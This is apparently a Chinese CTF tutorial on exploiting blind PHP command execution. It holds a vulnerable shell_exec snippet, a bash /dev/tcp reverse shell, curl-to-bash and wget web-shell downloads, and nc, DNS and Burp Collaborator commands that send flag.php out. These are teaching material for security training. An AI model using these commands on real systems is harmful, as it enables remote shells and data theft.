0
点赞
收藏
分享

微信扫一扫

[CTF]命令执行无回显利用

司马吹风 2022-02-21 阅读 96

背景

exec,shell_exec等函数可以执行命令但没有回显,我们需要寻找方法来得到命令执行后的结果

<?php 
   highlight__file(__FILE__)
   shell_exec($_GET[cmd]);
    ?>

判断命令是否执行

延时

利用sleep函数

cmd=ls|sleep 5

HTTP请求

目标主机通过向VPS发起HTTP请求,VPS监听到请求则代表命令执行成功(注意:ping命令不产生http请求)

VPS:nc -lvp 8888

目标主机:cmd=curl ip:8888

DNS请求

利用dnslog

利用方式

直接写入

利用cp命令:cp flag.php 1.txt

利用mv命令:mv flag.php 1.txt

利用>输出结果到文件:ls > 1.txt

利用wget下载:wget http://ip/shell.txt > shell.php或者wget http://ip/shell.txt -O shell.php

反弹shell

bash反弹

目标主机:

bash -i >& /dev/tcp/ip/8888 0>&1

VPS:

nc -lvp 8888

也可以将命令写入文件,之后在存在命令执行的地方输入curl ip|bash即可反弹

外带数据

使用ceye或者dnslog

cmd=curl `命令`.域名

nc外带

目标主机:nc ip 8888 < flag.php
VPS:nc -lvp 8888

当tcp不能使用,-u参数调整为udp

目标主机:nc -u ip 8888 < flag.php
VPS:nc -ulvp 8888

burp(Collaborator Client)

目标主机:

cmd=curl -X POST -F xx=@flag.php http://jj6xpgxristzkbn1fpkl32t6jxpndc.burpcollaborator.net

image-20220221013752788

参考:

https://blog.csdn.net/weixin_33164837/article/details/112421828

https://h0ld1rs.github.io/2021/06/24/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%97%A0%E5%9B%9E%E6%98%BE/#burp-Collaborator-Client

举报

相关推荐

0 条评论